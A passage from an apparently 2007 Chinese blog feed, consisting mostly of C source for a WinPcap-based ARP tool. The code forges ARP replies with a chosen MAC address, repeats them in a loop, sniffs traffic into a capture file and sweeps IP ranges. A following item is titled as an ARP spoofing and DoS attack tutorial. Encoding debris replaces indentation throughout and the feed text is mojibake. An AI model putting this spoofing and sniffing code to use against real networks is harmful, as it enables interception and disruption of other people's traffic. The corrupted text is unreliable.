(t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(!stimes)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(eth.eh_src,fmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(arp.arp_sha,fmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(eth.eh_src,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(arp.arp_sha,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memset(sendbuf,0,sizeof(sendbuf));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(sendbuf,&eth;,sizeof(eth));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Sleep(1000);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}while(stimes);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(fun==4)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Reset Successfully");<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return 0;<br />}<br /><br />int main(int argc,char *argv[])<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)HANDLE (t¨©ng) (t¨©ng) sthread,rthread;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)WCHAR (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)adaptername[8192];<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)WCHAR (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)*name1,*name2;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ULONG (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)adapterlength;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)DWORD (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)threadsid,threadrid;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)struct (t¨©ng) (t¨©ng) NetType (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ntype;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)struct (t¨©ng) (t¨©ng) bpf_stat (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) stat;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)struct (t¨©ng) (t¨©ng) sockaddr_in (t¨©ng) (t¨©ng)sin;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)struct (t¨©ng) (t¨©ng) npf_if_addr (t¨©ng) (t¨©ng)ipbuff;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)int (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)adapternum=0,opti=0,open,i,total;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)long (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) npflen;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)system("cls.exe");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)start();<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(argc!=4)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)usage();<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)getche();<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(!strcmp(argv[1],"-m"))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)opti=1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(!strcmp(argv[1],"-a"))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)opti=2;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(!strcmp(argv[1],"-s"))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)opti=3;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if((fp=fopen("capture.txt","w+"))==NULL)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Open capture.txt Error: %d\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fwrite("T-ARP Captrue Data",20,1,fp);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(!strcmp(argv[1],"-r"))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)opti=4;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)usage();<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)getche();<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)firstip=ntohl(inet_addr(argv[2]));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)secondip=ntohl(inet_addr(argv[3]));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)total=secondip-firstip+1;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nLibarary Version: %s",PacketGetVersion());<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)adapterlength=sizeof(adaptername);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketGetAdapterNames Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)name1=adaptername;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)name2=adaptername;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)i=0;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)while((*name1!='\0') || (*(name1-1)!='\0'))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(*name1=='\0')<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(adapterlist[i],name2,2*(name1-name2));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)name2=name1+1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)i++;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)name1++;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)adapternum=i;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nAdapters Installed:\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(i=0;i<adapternum;i++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)wprintf(L"%d - %s\n",i+1,adapterlist[i]);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)do<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nSelect the number of the adapter to open: ");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)scanf("%d",&open);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(open>=1 && open<=adapternum)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)break; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}while(open<1 || open>adapternum);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)lpadapter=PacketOpenAdapter(adapterlist[open-1]);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketOpenAdapter Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketGetNetType(lpadapter,&ntype))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\n\t\t*** Host Information ***\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("[LinkTpye:]\t%d\t\t",ntype.LinkType); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)npflen=sizeof(ipbuff); (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)myip=ntohl(sin.sin_addr.s_addr);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("[MACAddress:]");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nNot get enough data\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketFreePacket(lppackets);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketCloseAdapter(lpadapter);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if((lppackets=PacketAllocatePacket())==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketAllocatePacket send Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Sleep(300);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(getmine()) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketFreePacket(lppackets);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketFreePacket(lppacketr);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketCloseAdapter(lpadapter);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Sleep(300);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if((opti==1) || (opti==2))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(i=0;i<total;i++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Sleep(30);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Sleep(1000);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if((opti==3) || (opti==4)) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Sleep(300);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)CloseHandle(sthread);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)WaitForSingleObject(sthread,INFINITE); <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)CloseHandle(sthread);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)CloseHandle(rthread);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketGetStats(lpadapter,&stat)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Warning: Unable to get the adapter stat\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketFreePacket(lppackets);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketFreePacket(lppacketr);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketCloseAdapter(lpadapter);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return 0;<br />} <img src ="http://www.aygfsteel.com/yczz/aggbug/100172.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-18 11:32 <a href="http://www.aygfsteel.com/yczz/articles/100172.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ARP Spoof&DoSæ”Õd‡»¾~–程实战http://www.aygfsteel.com/yczz/articles/100081.html飞鸟飞鸟Fri, 16 Feb 2007 14:14:00 GMThttp://www.aygfsteel.com/yczz/articles/100081.htmlhttp://www.aygfsteel.com/yczz/comments/100081.htmlhttp://www.aygfsteel.com/yczz/articles/100081.html#Feedback0http://www.aygfsteel.com/yczz/comments/commentRss/100081.htmlhttp://www.aygfsteel.com/yczz/services/trackbacks/100081.html
